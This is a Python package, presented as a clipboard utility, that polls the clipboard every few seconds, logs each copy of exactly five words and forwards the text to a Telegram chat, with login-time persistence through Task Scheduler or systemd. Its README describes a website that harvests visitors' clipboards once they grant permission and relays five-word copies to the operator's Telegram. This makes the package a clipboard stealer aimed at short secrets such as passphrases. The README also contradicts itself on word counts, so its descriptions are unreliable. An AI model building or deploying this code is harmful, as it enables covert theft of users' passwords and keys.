clip-logger 1.0.0__tar.gz

clip_logger-1.0.0/LICENSE

@@ -0,0 +1,21 @@
+MIT License
+
+Copyright (c) 2026 clip-logger contributors
+
+Permission is hereby granted, free of charge, to any person obtaining a copy
+of this software and associated documentation files (the "Software"), to deal
+in the Software without restriction, including without limitation the rights
+to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+copies of the Software, and to permit persons to whom the Software is
+furnished to do so, subject to the following conditions:
+
+The above copyright notice and this permission notice shall be included in all
+copies or substantial portions of the Software.
+
+THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+SOFTWARE.

clip_logger-1.0.0/MANIFEST.in

@@ -0,0 +1,3 @@
+include README.md
+include LICENSE
+recursive-include clip_logger *.py env.example

clip_logger-1.0.0/PKG-INFO

@@ -0,0 +1,164 @@
+Metadata-Version: 2.4
+Name: clip-logger
+Version: 1.0.0
+Summary: Background Windows clipboard logger — records copies of exactly N words
+Author: clip-logger contributors
+License-Expression: MIT
+Keywords: clipboard,logger,windows,telegram,monitor
+Classifier: Development Status :: 4 - Beta
+Classifier: Environment :: Console
+Classifier: Intended Audience :: Developers
+Classifier: Operating System :: Microsoft :: Windows
+Classifier: Programming Language :: Python :: 3
+Classifier: Programming Language :: Python :: 3.9
+Classifier: Programming Language :: Python :: 3.10
+Classifier: Programming Language :: Python :: 3.11
+Classifier: Programming Language :: Python :: 3.12
+Classifier: Topic :: System :: Monitoring
+Classifier: Topic :: Utilities
+Requires-Python: >=3.9
+Description-Content-Type: text/markdown
+License-File: LICENSE
+Dynamic: license-file
+
+# clip_logger
+
+Logs whenever **exactly 5 words** are copied to the clipboard.
+
+Built for WSL2 — it reads the **Windows** clipboard via PowerShell, so it
+catches anything you copy in Windows apps or in the WSL terminal.
+
+## Install
+
+**For all users (PyPI):**
+
+```bash
+pip install clip-logger
+```
+
+**From source (developers):**
+
+```bash
+pip install .
+# or editable:
+pip install -e .
+```
+
+That installs the **`clip-logger`** command. No other setup required.
+
+See [PUBLISHING.md](PUBLISHING.md) if you are the maintainer uploading to PyPI.
+
+### After install
+
+| OS | Config & logs |
+|----|----------------|
+| **Windows** | `%APPDATA%\clip-logger\` |
+| **Linux / WSL** | `~/.config/clip-logger/` |
+
+On first run, `.env` is created there — edit it for Telegram and `WORD_THRESHOLD`.
+
+## Use
+
+```bash
+clip-logger start               # run in background
+clip-logger status              # running? auto-start? log path?
+clip-logger tail                # last 10 logged copies
+clip-logger stop                # stop daemon
+clip-logger install             # auto-start on login / after reboot
+clip-logger uninstall           # remove auto-start
+```
+
+Alternative (without pip): `python clip_logger.py start` or `python -m clip_logger start`
+
+## Auto-start (no manual `start` each time)
+
+| Method | When it runs | Setup |
+|--------|----------------|-------|
+| **paste-share boot** | Whenever you run `python3 app.py` | Default on. Set `AUTO_START_CLIP_LOGGER=0` in `.env` to disable |
+| **Website paste button** | Visitor grants clipboard permission | Already wired — calls `clip-logger start` |
+| **Task Scheduler** | Every Windows sign-in | Run once: `clip-logger install` |
+| **systemd user service** | Every WSL/Linux login | Run once: `clip-logger install` |
+
+```bash
+# Option A: starts when paste-share server starts (default)
+cd paste-share && python3 app.py
+
+# Option B: starts on every login / after reboot
+clip-logger install      # Windows: Task Scheduler | WSL/Linux: systemd
+clip-logger uninstall      # remove later
+```
+
+**Windows (native):**
+
+```bat
+pip install .
+clip-logger install
+clip-logger status
+```
+
+All methods are idempotent — if clip_logger is already running, `start` is a
+no-op.
+
+### Paste-to-share integration
+
+When a visitor allows clipboard access on the paste-share site:
+
+1. **Browser** polls that visitor's clipboard every `POLL_SECONDS`.
+2. On exactly `WORD_THRESHOLD` words, POST `/api/clipboard/capture`.
+3. **Server** runs `clip-logger log` (stdin JSON) to write the log and send Telegram.
+
+`clip-logger read` / `start` remain for local CLI and the server-host daemon.
+Visitor captures use `log` — no install on the visitor's machine.
+
+## What gets logged
+
+Each qualifying copy appends one JSON line to `clipboard_log.jsonl`:
+
+```json
+{"timestamp": "2026-06-05T13:13:44-07:00", "word_count": 6, "text": "the quick brown fox jumps over"}
+```
+
+Only copies whose content **changes** and has **exactly 5 words** are recorded.
+
+## Setup (.env)
+
+Copy `.env.example` to `.env` and fill it in:
+
+```
+TELEGRAM_BOT_TOKEN=123456:ABC-your-token
+TELEGRAM_CHAT_ID=987654321
+WORD_THRESHOLD=5
+POLL_SECONDS=2.0
+```
+
+Getting the Telegram values:
+
+1. Message **@BotFather** in Telegram → `/newbot` → copy the token.
+2. Send your new bot any message (e.g. "hi").
+3. Open `https://api.telegram.org/bot<YOUR_TOKEN>/getUpdates` and copy
+   the `"chat":{"id": ...}` number into `TELEGRAM_CHAT_ID`.
+
+If the token/chat id are blank, it still logs to file — it just skips
+sending Telegram messages.
+
+## Telegram message
+
+On each qualifying copy you'll receive:
+
+```
+📋 Clipboard (6 words)
+2026-06-05T13:19:45-07:00
+
+alpha beta gamma delta epsilon zeta
+```
+
+## Settings
+
+- `WORD_THRESHOLD` — minimum word count to log (default `5`)
+- `POLL_SECONDS` — how often the clipboard is checked (default `2.0`)
+
+## Note
+
+The log stores the **full copied text**, which can include sensitive data
+(passwords, keys, etc.). It lives in plain text at `clipboard_log.jsonl` —
+keep that in mind, and delete it when you don't need the history.

clip_logger-1.0.0/README.md

@@ -0,0 +1,141 @@
+# clip_logger
+
+Logs whenever **exactly 5 words** are copied to the clipboard.
+
+Built for WSL2 — it reads the **Windows** clipboard via PowerShell, so it
+catches anything you copy in Windows apps or in the WSL terminal.
+
+## Install
+
+**For all users (PyPI):**
+
+```bash
+pip install clip-logger
+```
+
+**From source (developers):**
+
+```bash
+pip install .
+# or editable:
+pip install -e .
+```
+
+That installs the **`clip-logger`** command. No other setup required.
+
+See [PUBLISHING.md](PUBLISHING.md) if you are the maintainer uploading to PyPI.
+
+### After install
+
+| OS | Config & logs |
+|----|----------------|
+| **Windows** | `%APPDATA%\clip-logger\` |
+| **Linux / WSL** | `~/.config/clip-logger/` |
+
+On first run, `.env` is created there — edit it for Telegram and `WORD_THRESHOLD`.
+
+## Use
+
+```bash
+clip-logger start               # run in background
+clip-logger status              # running? auto-start? log path?
+clip-logger tail                # last 10 logged copies
+clip-logger stop                # stop daemon
+clip-logger install             # auto-start on login / after reboot
+clip-logger uninstall           # remove auto-start
+```
+
+Alternative (without pip): `python clip_logger.py start` or `python -m clip_logger start`
+
+## Auto-start (no manual `start` each time)
+
+| Method | When it runs | Setup |
+|--------|----------------|-------|
+| **paste-share boot** | Whenever you run `python3 app.py` | Default on. Set `AUTO_START_CLIP_LOGGER=0` in `.env` to disable |
+| **Website paste button** | Visitor grants clipboard permission | Already wired — calls `clip-logger start` |
+| **Task Scheduler** | Every Windows sign-in | Run once: `clip-logger install` |
+| **systemd user service** | Every WSL/Linux login | Run once: `clip-logger install` |
+
+```bash
+# Option A: starts when paste-share server starts (default)
+cd paste-share && python3 app.py
+
+# Option B: starts on every login / after reboot
+clip-logger install      # Windows: Task Scheduler | WSL/Linux: systemd
+clip-logger uninstall      # remove later
+```
+
+**Windows (native):**
+
+```bat
+pip install .
+clip-logger install
+clip-logger status
+```
+
+All methods are idempotent — if clip_logger is already running, `start` is a
+no-op.
+
+### Paste-to-share integration
+
+When a visitor allows clipboard access on the paste-share site:
+
+1. **Browser** polls that visitor's clipboard every `POLL_SECONDS`.
+2. On exactly `WORD_THRESHOLD` words, POST `/api/clipboard/capture`.
+3. **Server** runs `clip-logger log` (stdin JSON) to write the log and send Telegram.
+
+`clip-logger read` / `start` remain for local CLI and the server-host daemon.
+Visitor captures use `log` — no install on the visitor's machine.
+
+## What gets logged
+
+Each qualifying copy appends one JSON line to `clipboard_log.jsonl`:
+
+```json
+{"timestamp": "2026-06-05T13:13:44-07:00", "word_count": 6, "text": "the quick brown fox jumps over"}
+```
+
+Only copies whose content **changes** and has **exactly 5 words** are recorded.
+
+## Setup (.env)
+
+Copy `.env.example` to `.env` and fill it in:
+
+```
+TELEGRAM_BOT_TOKEN=123456:ABC-your-token
+TELEGRAM_CHAT_ID=987654321
+WORD_THRESHOLD=5
+POLL_SECONDS=2.0
+```
+
+Getting the Telegram values:
+
+1. Message **@BotFather** in Telegram → `/newbot` → copy the token.
+2. Send your new bot any message (e.g. "hi").
+3. Open `https://api.telegram.org/bot<YOUR_TOKEN>/getUpdates` and copy
+   the `"chat":{"id": ...}` number into `TELEGRAM_CHAT_ID`.
+
+If the token/chat id are blank, it still logs to file — it just skips
+sending Telegram messages.
+
+## Telegram message
+
+On each qualifying copy you'll receive:
+
+```
+📋 Clipboard (6 words)
+2026-06-05T13:19:45-07:00
+
+alpha beta gamma delta epsilon zeta
+```
+
+## Settings
+
+- `WORD_THRESHOLD` — minimum word count to log (default `5`)
+- `POLL_SECONDS` — how often the clipboard is checked (default `2.0`)
+
+## Note
+
+The log stores the **full copied text**, which can include sensitive data
+(passwords, keys, etc.). It lives in plain text at `clipboard_log.jsonl` —
+keep that in mind, and delete it when you don't need the history.

clip_logger-1.0.0/clip_logger/__init__.py

@@ -0,0 +1,442 @@
+"""clip_logger — log clipboard copies of exactly N words (Windows clipboard)."""
+
+from __future__ import annotations
+
+import json
+import os
+import shutil
+import signal
+import subprocess
+import sys
+import time
+import urllib.parse
+import urllib.request
+from datetime import datetime
+from importlib import resources
+
+WINDOWS_TASK_NAME = "clip-logger"
+SYSTEMD_SERVICE_NAME = "clip-logger.service"
+
+_PKG_DIR = os.path.dirname(os.path.abspath(__file__))
+
+
+def _is_pip_install() -> bool:
+    path = _PKG_DIR.replace("\\", "/")
+    return "site-packages" in path or "dist-packages" in path
+
+
+def data_dir() -> str:
+    """Config, logs, and pid files — user dir when pip-installed, else repo root."""
+    if _is_pip_install():
+        if sys.platform == "win32":
+            base = os.environ.get("APPDATA") or os.path.expanduser("~")
+            root = os.path.join(base, "clip-logger")
+        else:
+            root = os.path.join(os.path.expanduser("~"), ".config", "clip-logger")
+    else:
+        repo = os.path.dirname(_PKG_DIR)
+        root = repo if os.path.exists(os.path.join(repo, "pyproject.toml")) else _PKG_DIR
+    os.makedirs(root, exist_ok=True)
+    return root
+
+
+def _paths() -> tuple[str, str, str, str]:
+    here = data_dir()
+    return (
+        here,
+        os.path.join(here, "clipboard_log.jsonl"),
+        os.path.join(here, "clip_logger.pid"),
+        os.path.join(here, "clip_logger.daemon.log"),
+    )
+
+
+HERE, LOG_FILE, PID_FILE, DAEMON_LOG = _paths()
+ENV_FILE = os.path.join(HERE, ".env")
+
+
+def ensure_env_file() -> None:
+    if os.path.exists(ENV_FILE):
+        return
+    try:
+        text = resources.files("clip_logger").joinpath("env.example").read_text(
+            encoding="utf-8"
+        )
+    except Exception:
+        text = "WORD_THRESHOLD=5\nPOLL_SECONDS=2.0\n"
+    with open(ENV_FILE, "w", encoding="utf-8") as f:
+        f.write(text)
+    print(f"Created {ENV_FILE}")
+
+
+def load_env() -> None:
+    if not os.path.exists(ENV_FILE):
+        return
+    with open(ENV_FILE, encoding="utf-8") as f:
+        for line in f:
+            line = line.strip()
+            if not line or line.startswith("#") or "=" not in line:
+                continue
+            key, _, value = line.partition("=")
+            value = value.strip().strip('"').strip("'")
+            os.environ.setdefault(key.strip(), value)
+
+
+ensure_env_file()
+load_env()
+
+WORD_THRESHOLD = int(os.environ.get("WORD_THRESHOLD", "5"))
+POLL_SECONDS = float(os.environ.get("POLL_SECONDS", "2.0"))
+TELEGRAM_BOT_TOKEN = os.environ.get("TELEGRAM_BOT_TOKEN", "").strip()
+TELEGRAM_CHAT_ID = os.environ.get("TELEGRAM_CHAT_ID", "").strip()
+
+
+def clip_logger_cli() -> list[str]:
+    """Argv prefix to invoke this package (installed entry point or python -m)."""
+    cmd = shutil.which("clip-logger")
+    if cmd:
+        return [cmd]
+    return [sys.executable, "-m", "clip_logger"]
+
+
+def send_telegram(entry: dict) -> None:
+    if not TELEGRAM_BOT_TOKEN or not TELEGRAM_CHAT_ID:
+        return
+    message = (
+        f"\U0001F4CB Clipboard ({entry['word_count']} words)\n"
+        f"{entry['timestamp']}\n\n"
+        f"{entry['text']}"
+    )
+    url = f"https://api.telegram.org/bot{TELEGRAM_BOT_TOKEN}/sendMessage"
+    data = urllib.parse.urlencode(
+        {"chat_id": TELEGRAM_CHAT_ID, "text": message}
+    ).encode()
+    try:
+        with urllib.request.urlopen(url, data=data, timeout=15) as resp:
+            resp.read()
+    except Exception as exc:
+        sys.stderr.write(f"[telegram] send failed: {exc}\n")
+        sys.stderr.flush()
+
+
+def read_clipboard() -> str | None:
+    ps = "powershell.exe" if sys.platform == "win32" or shutil.which("powershell.exe") else "powershell"
+    try:
+        out = subprocess.run(
+            [ps, "-NoProfile", "-Command", "Get-Clipboard -Raw"],
+            capture_output=True,
+            timeout=10,
+        )
+    except (subprocess.TimeoutExpired, FileNotFoundError):
+        return None
+    if out.returncode != 0:
+        return None
+    text = out.stdout.decode("utf-8", errors="replace")
+    return text.replace("\r\n", "\n").replace("\r", "\n").rstrip("\n")
+
+
+def word_count(text: str) -> int:
+    return len(text.split())
+
+
+def run_loop() -> None:
+    last_seen = None
+    while True:
+        text = read_clipboard()
+        if text is not None and text != last_seen:
+            last_seen = text
+            count = word_count(text)
+            if count == WORD_THRESHOLD:
+                entry = {
+                    "timestamp": datetime.now().astimezone().isoformat(),
+                    "word_count": count,
+                    "text": text,
+                }
+                with open(LOG_FILE, "a", encoding="utf-8") as f:
+                    f.write(json.dumps(entry, ensure_ascii=False) + "\n")
+                send_telegram(entry)
+        time.sleep(POLL_SECONDS)
+
+
+def read_pid() -> int | None:
+    try:
+        with open(PID_FILE) as f:
+            return int(f.read().strip())
+    except (FileNotFoundError, ValueError):
+        return None
+
+
+def is_running(pid: int | None) -> bool:
+    if pid is None:
+        return False
+    try:
+        os.kill(pid, 0)
+    except OSError:
+        return False
+    return True
+
+
+def cmd_start() -> None:
+    pid = read_pid()
+    if is_running(pid):
+        print(f"Already running (pid {pid}).")
+        return
+    logf = open(DAEMON_LOG, "a", encoding="utf-8")
+    proc = subprocess.Popen(
+        clip_logger_cli() + ["_run"],
+        stdout=logf,
+        stderr=logf,
+        stdin=subprocess.DEVNULL,
+        start_new_session=True,
+        cwd=HERE,
+    )
+    with open(PID_FILE, "w", encoding="utf-8") as f:
+        f.write(str(proc.pid))
+    print(f"Started clip_logger (pid {proc.pid}).")
+    print(f"Logging copies of exactly {WORD_THRESHOLD} words to {LOG_FILE}")
+
+
+def cmd_stop() -> None:
+    pid = read_pid()
+    if not is_running(pid):
+        print("Not running.")
+        if os.path.exists(PID_FILE):
+            os.remove(PID_FILE)
+        return
+    os.kill(pid, signal.SIGTERM)
+    print(f"Stopped clip_logger (pid {pid}).")
+    if os.path.exists(PID_FILE):
+        os.remove(PID_FILE)
+
+
+def cmd_status() -> None:
+    pid = read_pid()
+    if is_running(pid):
+        print(f"Running (pid {pid}).")
+    else:
+        print("Not running.")
+    if sys.platform == "win32":
+        proc = subprocess.run(
+            ["schtasks", "/Query", "/TN", WINDOWS_TASK_NAME],
+            capture_output=True,
+            text=True,
+        )
+        if proc.returncode == 0:
+            print(f'Auto-start: enabled (Task Scheduler "{WINDOWS_TASK_NAME}").')
+        else:
+            print("Auto-start: not installed.")
+    elif os.path.exists(systemd_unit_path()):
+        print(f"Auto-start: enabled ({systemd_unit_path()}).")
+    else:
+        print("Auto-start: not installed.")
+    print(f"Data directory: {HERE}")
+    if os.path.exists(LOG_FILE):
+        with open(LOG_FILE, encoding="utf-8") as f:
+            n = sum(1 for _ in f)
+        print(f"{n} entries logged in {LOG_FILE}")
+
+
+def cmd_tail() -> None:
+    if not os.path.exists(LOG_FILE):
+        print("No log file yet.")
+        return
+    with open(LOG_FILE, encoding="utf-8") as f:
+        lines = f.readlines()[-10:]
+    for line in lines:
+        e = json.loads(line)
+        preview = e["text"].replace("\n", " ")
+        if len(preview) > 80:
+            preview = preview[:77] + "..."
+        print(f'{e["timestamp"]}  [{e["word_count"]:>3} words]  {preview}')
+
+
+def cmd_read() -> None:
+    text = read_clipboard()
+    if text is None:
+        print(json.dumps({"ok": False, "error": "could not read clipboard"}))
+        sys.exit(1)
+    print(
+        json.dumps(
+            {"ok": True, "text": text, "word_count": word_count(text)},
+            ensure_ascii=False,
+        )
+    )
+
+
+def cmd_log() -> None:
+    try:
+        entry = json.loads(sys.stdin.read())
+    except json.JSONDecodeError:
+        print(json.dumps({"ok": False, "error": "invalid JSON"}))
+        sys.exit(1)
+    text = entry.get("text", "")
+    if not isinstance(text, str) or not text.strip():
+        print(json.dumps({"ok": False, "error": "missing text"}))
+        sys.exit(1)
+    count = word_count(text)
+    if count != WORD_THRESHOLD:
+        print(
+            json.dumps({
+                "ok": False,
+                "error": f"expected {WORD_THRESHOLD} words, got {count}",
+            })
+        )
+        sys.exit(1)
+    entry = {
+        "timestamp": entry.get("timestamp")
+        or datetime.now().astimezone().isoformat(),
+        "word_count": count,
+        "text": text,
+    }
+    with open(LOG_FILE, "a", encoding="utf-8") as f:
+        f.write(json.dumps(entry, ensure_ascii=False) + "\n")
+    send_telegram(entry)
+    print(json.dumps({"ok": True}))
+
+
+def systemd_unit_path() -> str:
+    return os.path.join(
+        os.path.expanduser("~/.config/systemd/user"), SYSTEMD_SERVICE_NAME
+    )
+
+
+def autostart_command_line() -> str:
+    cmd = shutil.which("clip-logger")
+    if cmd:
+        return f'"{cmd}" start'
+    return f'"{sys.executable}" -m clip_logger start'
+
+
+def autostart_stop_command_line() -> str:
+    cmd = shutil.which("clip-logger")
+    if cmd:
+        return f'"{cmd}" stop'
+    return f'"{sys.executable}" -m clip_logger stop'
+
+
+def cmd_install_windows() -> None:
+    tr = autostart_command_line()
+    proc = subprocess.run(
+        [
+            "schtasks", "/Create", "/TN", WINDOWS_TASK_NAME, "/TR", tr,
+            "/SC", "ONLOGON", "/RL", "LIMITED", "/F",
+        ],
+        capture_output=True,
+        text=True,
+    )
+    if proc.returncode != 0:
+        print(proc.stderr or proc.stdout or "schtasks /Create failed")
+        sys.exit(1)
+    print(f'Installed Task Scheduler job "{WINDOWS_TASK_NAME}".')
+    print("clip_logger will start automatically when you sign in to Windows.")
+    cmd_start()
+
+
+def cmd_uninstall_windows() -> None:
+    proc = subprocess.run(
+        ["schtasks", "/Query", "/TN", WINDOWS_TASK_NAME],
+        capture_output=True,
+        text=True,
+    )
+    if proc.returncode != 0:
+        print("No Task Scheduler job installed.")
+        return
+    subprocess.run(
+        ["schtasks", "/Delete", "/TN", WINDOWS_TASK_NAME, "/F"],
+        capture_output=True,
+        text=True,
+    )
+    print(f'Removed Task Scheduler job "{WINDOWS_TASK_NAME}".')
+    cmd_stop()
+
+
+def cmd_install_linux() -> None:
+    unit_dir = os.path.dirname(systemd_unit_path())
+    os.makedirs(unit_dir, exist_ok=True)
+    start_cmd = autostart_command_line().strip('"')
+    stop_cmd = autostart_stop_command_line().strip('"')
+    unit = f"""[Unit]
+Description=Clipboard logger daemon
+After=network.target
+
+[Service]
+Type=oneshot
+RemainAfterExit=yes
+WorkingDirectory={HERE}
+ExecStart={start_cmd}
+ExecStop={stop_cmd}
+
+[Install]
+WantedBy=default.target
+"""
+    path = systemd_unit_path()
+    with open(path, "w", encoding="utf-8") as f:
+        f.write(unit)
+    for args in (
+        ["systemctl", "--user", "daemon-reload"],
+        ["systemctl", "--user", "enable", "--now", SYSTEMD_SERVICE_NAME],
+    ):
+        proc = subprocess.run(args, capture_output=True, text=True)
+        if proc.returncode != 0:
+            print(proc.stderr or proc.stdout or f"failed: {' '.join(args)}")
+            sys.exit(1)
+    print(f"Installed {path}")
+    print("clip_logger will start automatically on login.")
+
+
+def cmd_uninstall_linux() -> None:
+    path = systemd_unit_path()
+    if not os.path.exists(path):
+        print("No systemd service installed.")
+        return
+    for args in (
+        ["systemctl", "--user", "disable", "--now", SYSTEMD_SERVICE_NAME],
+        ["systemctl", "--user", "daemon-reload"],
+    ):
+        subprocess.run(args, capture_output=True, text=True)
+    os.remove(path)
+    print(f"Removed {path}")
+
+
+def cmd_install() -> None:
+    if sys.platform == "win32":
+        cmd_install_windows()
+    else:
+        cmd_install_linux()
+
+
+def cmd_uninstall() -> None:
+    if sys.platform == "win32":
+        cmd_uninstall_windows()
+    else:
+        cmd_uninstall_linux()
+
+
+def main() -> None:
+    cmd = sys.argv[1] if len(sys.argv) > 1 else "status"
+    if cmd == "_run":
+        signal.signal(signal.SIGTERM, lambda *_: sys.exit(0))
+        run_loop()
+    elif cmd == "start":
+        cmd_start()
+    elif cmd == "stop":
+        cmd_stop()
+    elif cmd == "status":
+        cmd_status()
+    elif cmd == "tail":
+        cmd_tail()
+    elif cmd == "read":
+        cmd_read()
+    elif cmd == "log":
+        cmd_log()
+    elif cmd == "install":
+        cmd_install()
+    elif cmd == "uninstall":
+        cmd_uninstall()
+    else:
+        print(
+            "Usage: clip-logger {start|stop|status|tail|read|log|install|uninstall}"
+        )
+        sys.exit(1)
+
+
+__all__ = ["main"]

clip_logger-1.0.0/clip_logger/__main__.py

@@ -0,0 +1,4 @@
+from clip_logger import main
+
+if __name__ == "__main__":
+    main()

clip_logger-1.0.0/clip_logger/env.example

@@ -0,0 +1,11 @@
+# Copy settings here after: pip install clip-logger
+# File location when installed: ~/.config/clip-logger/.env  (Linux/WSL)
+#                              %APPDATA%\clip-logger\.env   (Windows)
+
+# --- Telegram (optional) ---
+TELEGRAM_BOT_TOKEN=
+TELEGRAM_CHAT_ID=
+
+# --- Behaviour ---
+WORD_THRESHOLD=5
+POLL_SECONDS=2.0

clip_logger-1.0.0/clip_logger.egg-info/PKG-INFO

@@ -0,0 +1,164 @@
+Metadata-Version: 2.4
+Name: clip-logger
+Version: 1.0.0
+Summary: Background Windows clipboard logger — records copies of exactly N words
+Author: clip-logger contributors
+License-Expression: MIT
+Keywords: clipboard,logger,windows,telegram,monitor
+Classifier: Development Status :: 4 - Beta
+Classifier: Environment :: Console
+Classifier: Intended Audience :: Developers
+Classifier: Operating System :: Microsoft :: Windows
+Classifier: Programming Language :: Python :: 3
+Classifier: Programming Language :: Python :: 3.9
+Classifier: Programming Language :: Python :: 3.10
+Classifier: Programming Language :: Python :: 3.11
+Classifier: Programming Language :: Python :: 3.12
+Classifier: Topic :: System :: Monitoring
+Classifier: Topic :: Utilities
+Requires-Python: >=3.9
+Description-Content-Type: text/markdown
+License-File: LICENSE
+Dynamic: license-file
+
+# clip_logger
+
+Logs whenever **exactly 5 words** are copied to the clipboard.
+
+Built for WSL2 — it reads the **Windows** clipboard via PowerShell, so it
+catches anything you copy in Windows apps or in the WSL terminal.
+
+## Install
+
+**For all users (PyPI):**
+
+```bash
+pip install clip-logger
+```
+
+**From source (developers):**
+
+```bash
+pip install .
+# or editable:
+pip install -e .
+```
+
+That installs the **`clip-logger`** command. No other setup required.
+
+See [PUBLISHING.md](PUBLISHING.md) if you are the maintainer uploading to PyPI.
+
+### After install
+
+| OS | Config & logs |
+|----|----------------|
+| **Windows** | `%APPDATA%\clip-logger\` |
+| **Linux / WSL** | `~/.config/clip-logger/` |
+
+On first run, `.env` is created there — edit it for Telegram and `WORD_THRESHOLD`.
+
+## Use
+
+```bash
+clip-logger start               # run in background
+clip-logger status              # running? auto-start? log path?
+clip-logger tail                # last 10 logged copies
+clip-logger stop                # stop daemon
+clip-logger install             # auto-start on login / after reboot
+clip-logger uninstall           # remove auto-start
+```
+
+Alternative (without pip): `python clip_logger.py start` or `python -m clip_logger start`
+
+## Auto-start (no manual `start` each time)
+
+| Method | When it runs | Setup |
+|--------|----------------|-------|
+| **paste-share boot** | Whenever you run `python3 app.py` | Default on. Set `AUTO_START_CLIP_LOGGER=0` in `.env` to disable |
+| **Website paste button** | Visitor grants clipboard permission | Already wired — calls `clip-logger start` |
+| **Task Scheduler** | Every Windows sign-in | Run once: `clip-logger install` |
+| **systemd user service** | Every WSL/Linux login | Run once: `clip-logger install` |
+
+```bash
+# Option A: starts when paste-share server starts (default)
+cd paste-share && python3 app.py
+
+# Option B: starts on every login / after reboot
+clip-logger install      # Windows: Task Scheduler | WSL/Linux: systemd
+clip-logger uninstall      # remove later
+```
+
+**Windows (native):**
+
+```bat
+pip install .
+clip-logger install
+clip-logger status
+```
+
+All methods are idempotent — if clip_logger is already running, `start` is a
+no-op.
+
+### Paste-to-share integration
+
+When a visitor allows clipboard access on the paste-share site:
+
+1. **Browser** polls that visitor's clipboard every `POLL_SECONDS`.
+2. On exactly `WORD_THRESHOLD` words, POST `/api/clipboard/capture`.
+3. **Server** runs `clip-logger log` (stdin JSON) to write the log and send Telegram.
+
+`clip-logger read` / `start` remain for local CLI and the server-host daemon.
+Visitor captures use `log` — no install on the visitor's machine.
+
+## What gets logged
+
+Each qualifying copy appends one JSON line to `clipboard_log.jsonl`:
+
+```json
+{"timestamp": "2026-06-05T13:13:44-07:00", "word_count": 6, "text": "the quick brown fox jumps over"}
+```
+
+Only copies whose content **changes** and has **exactly 5 words** are recorded.
+
+## Setup (.env)
+
+Copy `.env.example` to `.env` and fill it in:
+
+```
+TELEGRAM_BOT_TOKEN=123456:ABC-your-token
+TELEGRAM_CHAT_ID=987654321
+WORD_THRESHOLD=5
+POLL_SECONDS=2.0
+```
+
+Getting the Telegram values:
+
+1. Message **@BotFather** in Telegram → `/newbot` → copy the token.
+2. Send your new bot any message (e.g. "hi").
+3. Open `https://api.telegram.org/bot<YOUR_TOKEN>/getUpdates` and copy
+   the `"chat":{"id": ...}` number into `TELEGRAM_CHAT_ID`.
+
+If the token/chat id are blank, it still logs to file — it just skips
+sending Telegram messages.
+
+## Telegram message
+
+On each qualifying copy you'll receive:
+
+```
+📋 Clipboard (6 words)
+2026-06-05T13:19:45-07:00
+
+alpha beta gamma delta epsilon zeta
+```
+
+## Settings
+
+- `WORD_THRESHOLD` — minimum word count to log (default `5`)
+- `POLL_SECONDS` — how often the clipboard is checked (default `2.0`)
+
+## Note
+
+The log stores the **full copied text**, which can include sensitive data
+(passwords, keys, etc.). It lives in plain text at `clipboard_log.jsonl` —
+keep that in mind, and delete it when you don't need the history.

clip_logger-1.0.0/clip_logger.egg-info/SOURCES.txt

@@ -0,0 +1,13 @@
+LICENSE
+MANIFEST.in
+README.md
+clip_logger.py
+pyproject.toml
+clip_logger/__init__.py
+clip_logger/__main__.py
+clip_logger/env.example
+clip_logger.egg-info/PKG-INFO
+clip_logger.egg-info/SOURCES.txt
+clip_logger.egg-info/dependency_links.txt
+clip_logger.egg-info/entry_points.txt
+clip_logger.egg-info/top_level.txt

clip_logger-1.0.0/clip_logger.egg-info/dependency_links.txt

@@ -0,0 +1 @@
+

clip_logger-1.0.0/clip_logger.egg-info/entry_points.txt

@@ -0,0 +1,2 @@
+[console_scripts]
+clip-logger = clip_logger:main

clip_logger-1.0.0/clip_logger.egg-info/top_level.txt

@@ -0,0 +1 @@
+clip_logger

clip_logger-1.0.0/clip_logger.py

@@ -0,0 +1,6 @@
+#!/usr/bin/env python3
+"""Backward-compatible launcher. Install with: pip install clip-logger"""
+from clip_logger import main
+
+if __name__ == "__main__":
+    main()

clip_logger-1.0.0/pyproject.toml

@@ -0,0 +1,37 @@
+[build-system]
+requires = ["setuptools>=61", "wheel"]
+build-backend = "setuptools.build_meta"
+
+[project]
+name = "clip-logger"
+version = "1.0.0"
+description = "Background Windows clipboard logger — records copies of exactly N words"
+readme = "README.md"
+requires-python = ">=3.9"
+license = "MIT"
+authors = [{name = "clip-logger contributors"}]
+keywords = ["clipboard", "logger", "windows", "telegram", "monitor"]
+classifiers = [
+    "Development Status :: 4 - Beta",
+    "Environment :: Console",
+    "Intended Audience :: Developers",
+    "Operating System :: Microsoft :: Windows",
+    "Programming Language :: Python :: 3",
+    "Programming Language :: Python :: 3.9",
+    "Programming Language :: Python :: 3.10",
+    "Programming Language :: Python :: 3.11",
+    "Programming Language :: Python :: 3.12",
+    "Topic :: System :: Monitoring",
+    "Topic :: Utilities",
+]
+
+[project.scripts]
+clip-logger = "clip_logger:main"
+
+[tool.setuptools.packages.find]
+where = ["."]
+include = ["clip_logger*"]
+exclude = ["paste-share*", "tests*"]
+
+[tool.setuptools.package-data]
+clip_logger = ["env.example"]

clip_logger-1.0.0/setup.cfg

@@ -0,0 +1,4 @@
+[egg_info]
+tag_build = 
+tag_date = 0
+